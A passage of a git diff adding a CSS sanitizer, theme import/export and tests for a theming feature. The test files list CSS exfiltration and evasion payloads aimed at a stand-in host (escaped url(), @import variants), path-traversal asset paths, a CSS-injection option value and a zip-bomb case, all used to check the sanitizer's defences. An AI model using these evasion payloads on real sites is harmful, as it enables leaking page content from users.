+ "body { background: \\75\\72\\6c(https://evil.test); }",
+ "body { background: URL(https://evil.test); }",
+ "body { background: Url(https://evil.test); }",
+ "@\\69mport 'https://evil.test';",
+ "@IMPORT 'https://evil.test';",
+ "body { background: url(https\\3a //evil.test); }",
+ 'body { background: url("https:\\2f\\2f evil.test"); }',
+ "body { background: #url(https://evil.test); }",
+ "body { background: 1url(https://evil.test); }",
+ ]) {
+ rejects(css);
+ }
+ expect(sanitizeThemeCss('/* url(https://evil.test) */ .a { content: "url(https://evil.test)"; }').ok).toBe(true);
+ });
+
+ it("does not let a string or comment hide a url() after it", () => {
+ rejects('.a { content: "\\"" } body { background: url(https://evil.test); }');
+ rejects(".a { content: 'it\\'s' } body { background: url(https://evil.test); }");
+ rejects("/* a */ body { background: url(https://evil.test); } /* b */");
+ });
+
+ it("reports the line of each problem", () => {
+ const errors = rejects(".a { color: red; }\n\nbody { background: url(https://evil.test); }");
+ expect(errors[0]!.line).toBe(3);
+ });
+
+ it("has a size limit", () => {
+ rejects(`/*${"x".repeat(THEME_CSS_MAX_LENGTH)}*/`);
+ });
+});
+
+describe("themeAssetPath", () => {
+ it("only allows paths inside the package", () => {
+ expect(themeAssetPath("./fonts/a.woff2")).toBe("fonts/a.woff2");
+ expect(themeAssetPath("a.png")).toBe("a.png");
+ for (const bad of ["/a.png", "../a.png", "fonts/../../a", "https://x/a.png", "fonts//a", "a\\b"]) {
+ expect(themeAssetPath(bad)).toBeNull();
+ }
+ });
+});
diff --git a/packages/core/appearance/theme-css.ts b/packages/core/appearance/theme-css.ts
new file mode 100644
index 0000000000..a4a26e1e27
--- /dev/null
+++ b/packages/core/appearance/theme-css.ts
@@ -0,0 +1,238 @@
+/**
+ * Checks and rewrites the stylesheet a theme ships (`theme.css`).
+ *
+ * A theme's CSS runs on every product page, so anything that makes the
+ * browser fetch a URL could leak page content: attribute selectors can match
+ * text one character at a time and request a different URL per match. Pages
+ * have no CSP to stop that (and `img-src` must stay open for images in
+ * comments), so this check is the only guard. It rejects every construct
+ * that loads a resource, except `url()` pointing at a file the theme package
+ * ships, which is rewritten to that file's `data:` URL.
+ *
+ * The scanner follows the CSS Syntax tokenizer closely enough to see what a
+ * browser sees, including escapes (`u\72 l(`), comments and strings. Where it
+ * differs, it errs towards finding more function names than a browser would,
+ * which can only reject more.
+ */
+
+export const THEME_CSS_MAX_LENGTH = 512 * 1024;
+
+export interface ThemeCssError {
+ line: number;
+ message: string;
+}
+
+export type ThemeCssResult = { ok: true; css: string } | { ok: false; errors: ThemeCssError[] };
+
+const ASSET_DATA_URL =
+ /^data:(?:font\/(?:woff2|woff|ttf|otf)|application\/font-woff2?|image\/(?:png|jpeg|webp|gif|avif|svg\+xml));base64,[A-Za-z0-9+/]+={0,2}$/;
+
+/** A `data:` URL a theme may ship as an asset: fonts and images, base64. */
+export function isSafeThemeAsset(value: unknown): value is string {
+ return typeof value === "string" && ASSET_DATA_URL.test(value);
+}
+
+/** Normalises `./fonts/a.woff2` to `fonts/a.woff2`; null for anything outside the package. */
+export function themeAssetPath(ref: string): string | null {
+ const path = ref.trim().replace(/^\.\//, "");
+ if (!path || path.startsWith("/") || path.includes("\\") || path.includes(":")) return null;
+ if (path.split("/").some((part) => part === ".." || part === "." || part === "")) return null;
+ return path;
+}
+
+const BLOCKED_FUNCTION = /^(?:-[a-z]+-)?(?:image-set|cross-fade|element|image)$|^(?:expression|src)$/;
+const BLOCKED_IDENT = new Set(["behavior", "-ms-behavior", "-moz-binding", "url"]);
+const BLOCKED_AT_RULE = new Set(["import"]);
+
+const isNewline = (c: string) => c === "\n" || c === "\r" || c === "\f";
+const isWhitespace = (c: string) => c === " " || c === "\t" || isNewline(c);
+const isHex = (c: string) => /^[0-9a-fA-F]$/.test(c);
+const isNameStart = (c: string | undefined) =>
+ c !== undefined && (/^[A-Za-z_]$/.test(c) || c.charCodeAt(0) >= 0x80);
+const isName = (c: string | undefined) =>
+ c !== undefined && (isNameStart(c) || /^[0-9-]$/.test(c));
+
+export function sanitizeThemeCss(
+ css: string,
+ assets: Readonly<Record<string, string>> = {},
+): ThemeCssResult {
+ if (css.length > THEME_CSS_MAX_LENGTH) {
+ return { ok: false, errors: [{ line: 1, message: `CSS is larger than ${THEME_CSS_MAX_LENGTH / 1024} KB` }] };
+ }
+
+ const errors: ThemeCssError[] = [];
+ const replacements: { start: number; end: number; text: string }[] = [];
+ let i = 0;
+
+ const lineAt = (index: number) => css.slice(0, index).split(/\r\n|[\r\n\f]/).length;
+ const fail = (index: number, message: string) => errors.push({ line: lineAt(index), message });
+
+ const validEscape = (at: number) => css[at] === "\\" && at + 1 < css.length && !isNewline(css[at + 1]!);
+
+ /** Consumes the escape at `i` (pointing at the backslash) and returns the code point. */
+ const consumeEscape = (): string => {
+ i += 1;
+ const c = css[i];
+ if (c === undefined) return "\uFFFD";
+ if (isHex(c)) {
+ let hex = "";
+ while (hex.length < 6 && i < css.length && isHex(css[i]!)) hex += css[i++];
+ if (i < css.length && isWhitespace(css[i]!)) {
+ i += css[i] === "\r" && css[i + 1] === "\n" ? 2 : 1;
+ }
+ const code = Number.parseInt(hex, 16);
+ return code === 0 || code > 0x10ffff || (code >= 0xd800 && code <= 0xdfff)
+ ? "\uFFFD"
+ : String.fromCodePoint(code);
+ }
+ i += 1;
+ return c;
+ };
+
+ const startsIdent = (at: number) => {
+ const c = css[at];
+ if (c === "-") return isNameStart(css[at + 1]) || css[at + 1] === "-" || validEscape(at + 1);
+ if (c === "\\") return validEscape(at);
+ return isNameStart(c);
+ };
+
+ const consumeName = (): string => {
+ let name = "";
+ while (i < css.length) {
+ const c = css[i]!;
+ if (isName(c)) {
+ name += c;
+ i += 1;
+ } else if (validEscape(i)) {
+ name += consumeEscape();
+ } else break;
+ }
+ return name;
+ };
+
+ /** Reads a string starting at the quote at `i`; null when a newline ends it early. */
+ const consumeString = (): string | null => {
+ const quote = css[i];
+ i += 1;
+ let value = "";
+ while (i < css.length) {
+ const c = css[i]!;
+ if (c === quote) {
+ i += 1;
+ return value;
+ }
+ if (isNewline(c)) return null;
+ if (c === "\\") {
+ if (i + 1 >= css.length) {
+ i += 1;
+ return value;
+ }
+ if (isNewline(css[i + 1]!)) {
+ i += css[i + 1] === "\r" && css[i + 2] === "\n" ? 3 : 2;
+ continue;
+ }
+ value += consumeEscape();
+ continue;
+ }
+ value += c;
+ i += 1;
+ }
+ return value;
+ };
+
+ const skipWhitespace = () => {
+ while (i < css.length && isWhitespace(css[i]!)) i += 1;
+ };
+
+ /** `url(` has been consumed; `start` is where the function name began. */
+ const consumeUrl = (start: number) => {
+ skipWhitespace();
+ let ref: string | null;
+ if (css[i] === '"' || css[i] === "'") {
+ ref = consumeString();
+ skipWhitespace();
+ if (ref === null || css[i] !== ")") {
+ fail(start, "Malformed url()");
+ return;
+ }
+ } else {
+ ref = "";
+ while (i < css.length && css[i] !== ")") {
+ const c = css[i]!;
+ if (isWhitespace(c)) {
+ skipWhitespace();
+ if (css[i] !== ")") ref = null;
+ break;
+ }
+ if (c === '"' || c === "'" || c === "(" || c.charCodeAt(0) < 0x20 || c === "\u007f") {
+ ref = null;
+ break;
+ }
+ if (c === "\\") {
+ if (!validEscape(i)) {
+ ref = null;
+ break;
+ }
+ ref += consumeEscape();
+ continue;
+ }
+ ref += c;
+ i += 1;
+ }
+ if (ref === null || css[i] !== ")") {
+ fail(start, "Malformed url()");
+ while (i < css.length && css[i] !== ")") i += 1;
+ i += 1;
+ return;
+ }
+ }
+ i += 1;
+
+ if (/^#[\w-]+$/.test(ref)) return;
+ const path = themeAssetPath(ref);
+ const asset = path ? assets[path] : undefined;
+ if (!asset || !isSafeThemeAsset(asset)) {
+ fail(start, `url(${JSON.stringify(ref)}) must point to a file in the theme's assets`);
+ return;
+ }
+ replacements.push({ start, end: i, text: `url("${asset}")` });
+ };
+
+ while (i < css.length) {
+ const c = css[i]!;
+ if (c === "/" && css[i + 1] === "*") {
+ const end = css.indexOf("*/", i + 2);
+ i = end === -1 ? css.length : end + 2;
+ } else if (c === '"' || c === "'") {
+ const at = i;
+ if (consumeString() === null) fail(at, "Unterminated string");
+ } else if (c === "@" && startsIdent(i + 1)) {
+ const at = i;
+ i += 1;
+ const name = consumeName().toLowerCase();
+ if (BLOCKED_AT_RULE.has(name)) fail(at, `@${name} is not allowed`);
+ } else if (startsIdent(i)) {
+ const at = i;
+ const name = consumeName();
+ const lower = name.replace(/[A-Z]/g, (ch) => ch.toLowerCase());
+ if (css[i] === "(") {
+ i += 1;
+ if (lower === "url") consumeUrl(at);
+ else if (BLOCKED_FUNCTION.test(lower)) fail(at, `${lower}() is not allowed`);
+ } else if (BLOCKED_IDENT.has(lower)) {
+ fail(at, `${name} is not allowed`);
+ }
+ } else {
+ i += 1;
+ }
+ }
+
+ if (errors.length > 0) return { ok: false, errors };
+ let out = "";
+ let last = 0;
+ for (const r of replacements) {
+ out += css.slice(last, r.start) + r.text;
+ last = r.end;
+ }
+ return { ok: true, css: out + css.slice(last) };
+}
diff --git a/packages/core/appearance/theme-export.test.ts b/packages/core/appearance/theme-export.test.ts
new file mode 100644
index 0000000000..ba2d0202ec
--- /dev/null
+++ b/packages/core/appearance/theme-export.test.ts
@@ -0,0 +1,67 @@
+// @vitest-environment node
+import { describe, expect, it } from "vitest";
+import { BUILT_IN_THEMES, findBuiltInTheme } from "./built-in-themes";
+import { readZip, writeZip } from "./theme-archive";
+import { exportTheme, themeCopyTarget } from "./theme-export";
+import { themeCss, themeFromFiles } from "./theme-package";
+import { themeModeVariables, themeOptionAttributes, type Theme } from "./themes";
+
+/** The CSS as the browser applies it: comments and layout whitespace removed. */
+const normalized = (css: string) =>
+ css
+ .replace(/\/\*[\s\S]*?\*\//g, "")
+ .replace(/\s+/g, " ")
+ .replace(/\s*([{};])\s*/g, "$1")
+ .trim();
+
+async function reimport(theme: Theme): Promise<Theme> {
+ const files = exportTheme(theme, themeCopyTarget(theme, []));
+ const archive = await readZip(writeZip(files), 1024 * 1024);
+ if (!archive.ok) throw new Error(archive.error);
+ const result = themeFromFiles(archive.files);
+ if (!result.ok) throw new Error(result.errors.join("\n"));
+ return result.theme;
+}
+
+describe("exportTheme", () => {
+ it.each(BUILT_IN_THEMES.map((theme) => [theme.name, theme] as const))(
+ "a duplicate of %s imports and renders the same",
+ async (_name, theme) => {
+ const copy = await reimport(theme);
+ expect(copy.id).toBe(`${theme.id}-copy`);
+ expect(normalized(themeCss(copy))).toBe(normalized(themeCss(theme)));
+ expect(themeModeVariables(copy.css)).toEqual(themeModeVariables(theme.css));
+ expect(copy.options).toEqual(theme.options);
+ expect(themeOptionAttributes(copy, undefined)).toEqual(themeOptionAttributes(theme, undefined));
+ },
+ );
+
+ it("writes the token tables one declaration per line", () => {
+ const github = findBuiltInTheme("github")!;
+ const css = new TextDecoder().decode(exportTheme(github, { id: "mine", name: "Mine" })[1]!.data);
+ expect(css).toMatch(/^\/\* Mine, started from GitHub\./);
+ expect(css).toContain(".theme-light {\n --");
+ expect(css).toContain("beta");
+ });
+
+ it("writes an installed theme's assets back as files", () => {
+ const theme: Theme = {
+ apiVersion: 1,
+ id: "paper",
+ name: "Paper",
+ css: "@font-face { src: url(fonts/a.woff2); }",
+ assets: { "fonts/a.woff2": "data:font/woff2;base64,d09GMg==" },
+ };
+ const files = exportTheme(theme, { id: "paper-copy", name: "Paper copy" });
+ expect(files.map((f) => f.path)).toEqual(["manifest.json", "theme.css", "fonts/a.woff2"]);
+ expect(new TextDecoder().decode(files[2]!.data)).toBe("wOF2");
+ });
+});
+
+describe("themeCopyTarget", () => {
+ it("picks the first free id", () => {
+ const pop = findBuiltInTheme("pop")!;
+ expect(themeCopyTarget(pop, [])).toEqual({ id: "pop-copy", name: "Pop copy" });
+ expect(themeCopyTarget(pop, ["pop-copy", "pop-copy-2"])).toEqual({ id: "pop-copy-3", name: "Pop copy 3" });
+ });
+});
diff --git a/packages/core/appearance/theme-export.ts b/packages/core/appearance/theme-export.ts
new file mode 100644
index 0000000000..7af4e7050b
--- /dev/null
+++ b/packages/core/appearance/theme-export.ts
@@ -0,0 +1,69 @@
+import type { ArchiveFile } from "./theme-archive";
+import { THEME_ID_PATTERN } from "./theme-package";
+import { THEME_API_VERSION, themeTokensCss, type BuiltInTheme, type Theme, type ThemeManifest } from "./themes";
+
+/**
+ * Writes a theme back out as a theme folder, as a starting point for a new
+ * one: `manifest.json` under a new id and name, `theme.css`, and the fonts
+ * and images it ships. A built-in theme's token tables become readable
+ * `.theme-light` / `.theme-dark` rules, so importing the folder renders the
+ * same as the original with its default options.
+ */
+
+const isBuiltIn = (theme: Theme): theme is BuiltInTheme => "tokens" in theme;
+
+function themeCssSource(theme: Theme): string {
+ if (!isBuiltIn(theme)) return theme.css;
+ const compact = themeTokensCss(theme);
+ const rest = theme.css.startsWith(compact) ? theme.css.slice(compact.length).trim() : theme.css;
+ return [themeTokensCss(theme, { readable: true }), rest].filter(Boolean).join("\n\n");
+}
+
+function dataUrlBytes(url: string): Uint8Array {
+ const binary = atob(url.slice(url.indexOf(",") + 1));
+ const bytes = new Uint8Array(binary.length);
+ for (let i = 0; i < binary.length; i += 1) bytes[i] = binary.charCodeAt(i);
+ return bytes;
+}
+
+export interface ThemeExportTarget {
+ id: string;
+ name: string;
+}
+
+/** The files of a copy of `theme` named `target`. */
+export function exportTheme(theme: Theme, target: ThemeExportTarget): ArchiveFile[] {
+ const encoder = new TextEncoder();
+ const manifest: ThemeManifest = {
+ apiVersion: THEME_API_VERSION,
+ id: target.id,
+ name: target.name,
+ version: "0.1.0",
+ description: `Started from ${theme.name}.`,
+ ...(theme.options ? { options: theme.options } : {}),
+ };
+ const header = [
+ `/* ${target.name}, started from ${theme.name}.`,
+ " * Variables, anchors and the manifest are in beta and may change without notice:",
+ " * https://github.com/multica-ai/multica/blob/main/docs/theming.md */",
+ ].join("\n");
+ const css = [header, themeCssSource(theme)].filter(Boolean).join("\n\n");
+ return [
+ { path: "manifest.json", data: encoder.encode(`${JSON.stringify(manifest, null, 2)}\n`) },
+ { path: "theme.css", data: encoder.encode(`${css}\n`) },
+ ...Object.entries(theme.assets ?? {}).map(([path, url]) => ({ path, data: dataUrlBytes(url) })),
+ ];
+}
+
+/**
+ * An id and name for a copy that no theme in `taken` uses yet:
+ * `github-copy`, then `github-copy-2` and so on.
+ */
+export function themeCopyTarget(theme: Theme, taken: Iterable<string>): ThemeExportTarget {
+ const used = new Set(taken);
+ const base = `${theme.id.slice(0, 30)}-copy`;
+ let id = base;
+ for (let n = 2; used.has(id); n += 1) id = `${base}-${n}`;
+ const suffix = id === base ? "" : ` ${id.slice(base.length + 1)}`;
+ return { id: THEME_ID_PATTERN.test(id) ? id : "my-theme", name: `${theme.name} copy${suffix}`.slice(0, 40) };
+}
diff --git a/packages/core/appearance/theme-package.test.ts b/packages/core/appearance/theme-package.test.ts
new file mode 100644
index 0000000000..2e99e1d659
--- /dev/null
+++ b/packages/core/appearance/theme-package.test.ts
@@ -0,0 +1,340 @@
+// @vitest-environment jsdom
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { INSTALLED_THEMES_STORAGE_KEY, findTheme, useInstalledThemesStore } from "./installed-themes";
+import { readZip, writeZip } from "./theme-archive";
+import { parseStoredTheme, parseTheme, themeCss, themeFromFiles } from "./theme-package";
+
+const FONT = "data:font/woff2;base64,d09GMgABAAAAAA==";
+const FONT_BYTES = Uint8Array.from(atob("d09GMgABAAAAAA=="), (c) => c.charCodeAt(0));
+
+const manifest = {
+ apiVersion: 1,
+ id: "paper",
+ name: "Paper",
+ author: "Someone",
+ version: "1.2.0",
+ options: [
+ { id: "header", type: "select", label: { en: "Headers", "zh-Hans": "分组标题" }, default: "block", choices: [
+ { value: "flat", label: "Flat" },
+ { value: "block", label: "Block", swatch: "oklch(0.8 0.1 90)" },
+ ] },
+ { id: "hyphens", type: "toggle", label: "Hyphenate", default: true },
+ ],
+ extra: "ignored",
+};
+const css = [
+ '@font-face { font-family: "Paper Serif"; src: url(fonts/serif.woff2); }',
+ ".theme-light { --page-canvas: #f6efdf; --font-content-latin: \"Paper Serif\", serif; }",
+ ".theme-dark { --page-canvas: oklch(0.2 0.01 60); }",
+ ':root[data-theme-option-hyphens] [data-mc="content"] p { hyphens: auto; }',
+].join("\n");
+const paper = { manifest, css, assets: { "fonts/serif.woff2": FONT } };
+
+const encode = (text: string) => new TextEncoder().encode(text);
+
+describe("parseTheme", () => {
+ it("rebuilds a valid package from what passes validation", () => {
+ const result = parseTheme(paper);
+ expect(result.ok).toBe(true);
+ if (!result.ok) return;
+ expect(result.theme).toMatchObject({ id: "paper", name: "Paper", author: "Someone", version: "1.2.0", css });
+ expect(result.theme).not.toHaveProperty("extra");
+ expect(result.theme.options).toHaveLength(2);
+ expect(themeCss(result.theme)).toContain(`url("${FONT}")`);
+ });
+
+ it("lists every problem instead of stopping at the first", () => {
+ const result = parseTheme({
+ manifest: {
+ apiVersion: 2,
+ id: "Bad Id",
+ options: [{ id: "x", type: "select", label: "X", choices: [{ value: "a", label: "A" }] }],
+ },
+ css: "body { background: url(https://evil.test); }",
+ assets: { "../x.woff2": FONT, "y.png": "https://evil.test/y.png" },
+ });
+ expect(result.ok).toBe(false);
+ if (result.ok) return;
+ const errors = result.errors.join("\n");
+ expect(errors).toMatch(/apiVersion/);
+ expect(errors).toMatch(/^id must/m);
+ expect(errors).toMatch(/name is required/);
+ expect(errors).toMatch(/theme\.css line 1/);
+ expect(errors).toMatch(/"\.\.\/x\.woff2" must be/);
+ expect(errors).toMatch(/"y\.png" must be/);
+ expect(errors).toMatch(/at least two/);
+ });
+
+ it("reads every option type and rejects ones it cannot render", () => {
+ const options = [
+ { id: "look", type: "heading", label: "Look" },
+ { id: "paper-color", type: "color", label: "Paper", default: { light: "#f6efdf", dark: "#1d1b16" } },
+ { id: "ink", type: "color", label: "Ink", default: "#222" },
+ { id: "page-width", type: "slider", label: "Width", default: 46, min: 30, max: 60, step: 2, unit: "rem" },
+ { id: "line-height", type: "number", label: "Leading", default: 1.6, step: 0.05 },
+ { id: "h1-style", type: "text", label: "H1 style", default: "italic" },
+ { id: "h1-font", type: "font", label: "H1 font", default: '"Paper Serif", serif' },
+ { id: "rule", type: "variable-select", label: "Rule", default: "2px", choices: [
+ { value: "1px", label: "Thin" },
+ { value: "2px", label: "Thick" },
+ ] },
+ { id: "bad-color", type: "color", label: "Bad", default: "red" },
+ { id: "bad-slider", type: "slider", label: "Bad", default: 1 },
+ { id: "bad-unit", type: "number", label: "Bad", default: 1, unit: "px;" },
+ { id: "bad-text", type: "text", label: "Bad", default: "x; } body { display: none" },
+ ];
+ const result = parseTheme({ ...paper, manifest: { ...manifest, options } });
+ expect(result.ok).toBe(false);
+ if (result.ok) return;
+ expect(result.errors.filter((e) => /^Option "bad-/.test(e))).toHaveLength(4);
+ const good = parseTheme({ ...paper, manifest: { ...manifest, options: options.slice(0, 8) } });
+ expect(good.ok && good.theme.options?.map((o) => o.type)).toEqual([
+ "heading", "color", "color", "slider", "number", "text", "font", "variable-select",
+ ]);
+ expect(good.ok && good.theme.options?.[2]).toMatchObject({ default: { light: "#222", dark: "#222" } });
+ });
+
+ it("needs a theme.css and refuses to shadow a built-in theme", () => {
+ expect(parseTheme({ manifest, css: undefined }).ok).toBe(false);
+ expect(parseTheme({ ...paper, manifest: { ...manifest, id: "pop" } }).ok).toBe(false);
+ });
+
+ it("rejects packages over the size limit", () => {
+ expect(parseTheme({ ...paper, css: `/* ${"x".repeat(1024 * 1024)} */` }).ok).toBe(false);
+ });
+});
+
+describe("themeFromFiles", () => {
+ it("reads a theme folder, wrapped in a top-level folder or not", () => {
+ const files = [
+ { path: "paper/manifest.json", data: encode(JSON.stringify(manifest)) },
+ { path: "paper/theme.css", data: encode(css) },
+ { path: "paper/fonts/serif.woff2", data: FONT_BYTES },
+ { path: "paper/README.md", data: encode("# Paper") },
+ { path: "__MACOSX/paper/._theme.css", data: encode("junk") },
+ ];
+ const result = themeFromFiles(files);
+ expect(result.ok && result.theme.assets).toEqual({ "fonts/serif.woff2": FONT });
+ const flat = themeFromFiles(files.map((f) => ({ ...f, path: f.path.replace(/^paper\//, "") })));
+ expect(flat.ok).toBe(true);
+ });
+
+ it("explains what is missing", () => {
+ expect(themeFromFiles([{ path: "theme.css", data: encode(css) }])).toEqual({
+ ok: false,
+ errors: ["manifest.json is missing"],
+ });
+ expect(themeFromFiles([{ path: "manifest.json", data: encode("{") }])).toEqual({
+ ok: false,
+ errors: ["manifest.json is not valid JSON"],
+ });
+ });
+});
+
+/** A minimal zip writer for the reader to read. */
+async function zip(
+ entries: { path: string; data: Uint8Array; deflate: boolean; declaredSize?: number }[],
+): Promise<Uint8Array> {
+ const chunks: Uint8Array[] = [];
+ const central: Uint8Array[] = [];
+ let offset = 0;
+ for (const entry of entries) {
+ const body = entry.deflate
+ ? new Uint8Array(
+ await new Response(
+ new ReadableStream<Uint8Array>({
+ start(controller) {
+ controller.enqueue(entry.data);
+ controller.close();
+ },
+ }).pipeThrough(new CompressionStream("deflate-raw") as ReadableWritablePair<Uint8Array, Uint8Array>),
+ ).arrayBuffer(),
+ )
+ : entry.data;
+ const name = encode(entry.path);
+ const local = new DataView(new ArrayBuffer(30));
+ local.setUint32(0, 0x04034b50, true);
+ local.setUint16(8, entry.deflate ? 8 : 0, true);
+ local.setUint32(18, body.length, true);
+ local.setUint32(22, entry.declaredSize ?? entry.data.length, true);
+ local.setUint16(26, name.length, true);
+ const header = new DataView(new ArrayBuffer(46));
+ header.setUint32(0, 0x02014b50, true);
+ header.setUint16(10, entry.deflate ? 8 : 0, true);
+ header.setUint32(20, body.length, true);
+ header.setUint32(24, entry.declaredSize ?? entry.data.length, true);
+ header.setUint16(28, name.length, true);
+ header.setUint32(42, offset, true);
+ chunks.push(new Uint8Array(local.buffer), name, body);
+ central.push(new Uint8Array(header.buffer), name);
+ offset += 30 + name.length + body.length;
+ }
+ const size = central.reduce((n, c) => n + c.length, 0);
+ const end = new DataView(new ArrayBuffer(22));
+ end.setUint32(0, 0x06054b50, true);
+ end.setUint16(10, entries.length, true);
+ end.setUint32(12, size, true);
+ end.setUint32(16, offset, true);
+ const all = [...chunks, ...central, new Uint8Array(end.buffer)];
+ const out = new Uint8Array(all.reduce((n, c) => n + c.length, 0));
+ let at = 0;
+ for (const chunk of all) {
+ out.set(chunk, at);
+ at += chunk.length;
+ }
+ return out;
+}
+
+describe("readZip", () => {
+ it("reads stored and deflated entries", async () => {
+ const bytes = await zip([
+ { path: "paper/manifest.json", data: encode(JSON.stringify(manifest)), deflate: true },
+ { path: "paper/theme.css", data: encode(css), deflate: false },
+ { path: "paper/fonts/serif.woff2", data: FONT_BYTES, deflate: true },
+ ]);
+ const result = await readZip(bytes, 1024 * 1024);
+ expect(result).toMatchObject({ ok: true });
+ if (!result.ok) return;
+ expect(themeFromFiles(result.files).ok).toBe(true);
+ });
+
+ it("reads back what writeZip writes, UTF-8 names included", async () => {
+ const files = [
+ { path: "manifest.json", data: encode(JSON.stringify(manifest)) },
+ { path: "theme.css", data: encode(css) },
+ { path: "fonts/文楷.woff2", data: FONT_BYTES },
+ ];
+ const result = await readZip(writeZip(files), 1024 * 1024);
+ const plain = (list: { path: string; data: Uint8Array }[]) => list.map((f) => [f.path, Array.from(f.data)]);
+ expect(result.ok && plain(result.files)).toEqual(plain(files));
+ });
+
+ it("stops at the size limit and rejects what is not a zip", async () => {
+ const bytes = await zip([{ path: "big.css", data: encode("x".repeat(4096)), deflate: true }]);
+ expect(await readZip(bytes, 1024)).toMatchObject({ ok: false });
+ expect(await readZip(encode("not a zip at all, just some text"), 1024)).toEqual({
+ ok: false,
+ error: "Not a zip file",
+ });
+ });
+
+ it("does not inflate an entry past the size it declares", async () => {
+ const bytes = await zip([{ path: "theme.css", data: new Uint8Array(4 * 1024 * 1024).fill(65), deflate: true, declaredSize: 1 }]);
+ const Native = globalThis.DecompressionStream;
+ let inflated = 0;
+ vi.stubGlobal(
+ "DecompressionStream",
+ class {
+ readable: ReadableStream<Uint8Array>;
+ writable: WritableStream<Uint8Array>;
+ constructor(format: CompressionFormat) {
+ const inner = new Native(format) as ReadableWritablePair<Uint8Array, Uint8Array>;
+ this.writable = inner.writable;
+ this.readable = inner.readable.pipeThrough(
+ new TransformStream<Uint8Array, Uint8Array>({
+ transform(chunk, controller) {
+ inflated += chunk.length;
+ controller.enqueue(chunk);
+ },
+ }),
+ );
+ }
+ },
+ );
+ try {
+ expect(await readZip(bytes, 1024 * 1024)).toEqual({ ok: false, error: "The zip file is damaged" });
+ } finally {
+ vi.unstubAllGlobals();
+ }
+ expect(inflated).toBeLessThan(256 * 1024);
+ });
+
+ it("rejects a stored entry whose length is not the size it declares", async () => {
+ const bytes = await zip([{ path: "theme.css", data: encode("x".repeat(64)), deflate: false, declaredSize: 8 }]);
+ expect(await readZip(bytes, 1024 * 1024)).toEqual({ ok: false, error: "The zip file is damaged" });
+ });
+});
+
+describe("installed themes", () => {
+ beforeEach(() => {
+ localStorage.clear();
+ useInstalledThemesStore.setState({ themes: [], folders: {} });
+ });
+
+ const theme = (id: string, version = "1.0.0") => {
+ const parsed = parseTheme({ ...paper, manifest: { ...manifest, id, version } });
+ if (!parsed.ok) throw new Error("fixture");
+ return parsed.theme;
+ };
+ const ids = () => useInstalledThemesStore.getState().themes.map((t) => `${t.id}@${t.version}`);
+
+ it("mirrors the themes folder next to imported themes", () => {
+ const { install, syncFolder } = useInstalledThemesStore.getState();
+ install(theme("imported"));
+ syncFolder([
+ { folder: "paper", result: { ok: true, theme: theme("paper") } },
+ { folder: "ink.zip", result: { ok: true, theme: theme("ink") } },
+ ]);
+ expect(ids()).toEqual(["[email protected]", "[email protected]", "[email protected]"]);
+ expect(useInstalledThemesStore.getState().folders).toEqual({ paper: "paper", ink: "ink.zip" });
+
+ syncFolder([{ folder: "paper", result: { ok: true, theme: theme("paper", "1.1.0") } }]);
+ expect(ids()).toEqual(["[email protected]", "[email protected]"]);
+ });
+
+ it("keeps a folder theme's last good version while its files fail the checks", () => {
+ const { syncFolder } = useInstalledThemesStore.getState();
+ syncFolder([{ folder: "paper", result: { ok: true, theme: theme("paper") } }]);
+ syncFolder([{ folder: "paper", result: { ok: false, errors: ["theme.css line 1: @import is not allowed"] } }]);
+ expect(ids()).toEqual(["[email protected]"]);
+ syncFolder([]);
+ expect(ids()).toEqual([]);
+ });
+
+ it("lets the folder take over an imported theme with the same id, and an import take it back", () => {
+ const { install, syncFolder } = useInstalledThemesStore.getState();
+ install(theme("paper"));
+ syncFolder([{ folder: "paper", result: { ok: true, theme: theme("paper", "2.0.0") } }]);
+ expect(ids()).toEqual(["[email protected]"]);
+ install(theme("paper", "3.0.0"));
+ expect(useInstalledThemesStore.getState().folders).toEqual({});
+ syncFolder([]);
+ expect(ids()).toEqual(["[email protected]"]);
+ });
+
+ it("installs, replaces by id and uninstalls", () => {
+ const parsed = parseTheme(paper);
+ if (!parsed.ok) throw new Error("fixture");
+ const { install, uninstall } = useInstalledThemesStore.getState();
+ install(parsed.theme);
+ install({ ...parsed.theme, version: "1.3.0" });
+ expect(useInstalledThemesStore.getState().themes).toHaveLength(1);
+ expect(findTheme("paper")?.version).toBe("1.3.0");
+ uninstall("paper");
+ expect(findTheme("paper")).toBeUndefined();
+ });
+
+ it("checks stored packages again when loading them", async () => {
+ const stored = { ...manifest, css, assets: paper.assets };
+ expect(parseStoredTheme(stored).ok).toBe(true);
+ localStorage.setItem(
+ INSTALLED_THEMES_STORAGE_KEY,
+ JSON.stringify({
+ state: { themes: [stored, { ...stored, id: "tampered", css: "body { background: url(https://evil.test); }" }] },
+ version: 0,
+ }),
+ );
+ await useInstalledThemesStore.persist.rehydrate();
+ expect(useInstalledThemesStore.getState().themes.map((t) => t.id)).toEqual(["paper"]);
+ });
+
+ it("drops stored folder links to themes that are not installed", async () => {
+ const stored = { ...manifest, css, assets: paper.assets };
+ localStorage.setItem(
+ INSTALLED_THEMES_STORAGE_KEY,
+ JSON.stringify({ state: { themes: [stored], folders: { paper: "paper", gone: "gone", bad: 3 } }, version: 0 }),
+ );
+ await useInstalledThemesStore.persist.rehydrate();
+ expect(useInstalledThemesStore.getState().folders).toEqual({ paper: "paper" });
+ });
+});
diff --git a/packages/core/appearance/theme-package.ts b/packages/core/appearance/theme-package.ts
new file mode 100644
index 0000000000..edfd811834
--- /dev/null
+++ b/packages/core/appearance/theme-package.ts
@@ -0,0 +1,336 @@
+import { findBuiltInTheme } from "./built-in-themes";
+import { readZip, type ArchiveFile } from "./theme-archive";
+import { isSafeThemeAsset, sanitizeThemeCss, themeAssetPath } from "./theme-css";
+import {
+ HEX_COLOR,
+ THEME_API_VERSION,
+ isSafeFontValue,
+ isSafeThemeValue,
+ type LocalizedText,
+ type Theme,
+ type ThemeOption,
+} from "./themes";
+
+/**
+ * Reads a theme package: `manifest.json`, `theme.css` and the fonts and
+ * images the CSS references, from a folder or a .zip someone picked, or from
+ * storage. Everything in it is untrusted, so the result is rebuilt field by
+ * field from what passes validation; unknown manifest fields are dropped.
+ */
+
+export const THEME_PACKAGE_MAX_BYTES = 1024 * 1024;
+const MAX_ASSETS = 24;
+const MAX_OPTIONS = 24;
+const MAX_CHOICES = 8;
+
+export const THEME_ID_PATTERN = /^[a-z0-9][a-z0-9-]{0,39}$/;
+const OPTION_ID = /^[a-z][a-z0-9-]{0,47}$/;
+const CHOICE_VALUE = /^[a-z0-9][a-z0-9-]{0,31}$/;
+const UNIT = /^(?:[a-z]{1,4}|%)?$/;
+const LOCALE_KEY = /^[a-z]{2,3}(-[A-Za-z0-9]{2,8})*$/;
+
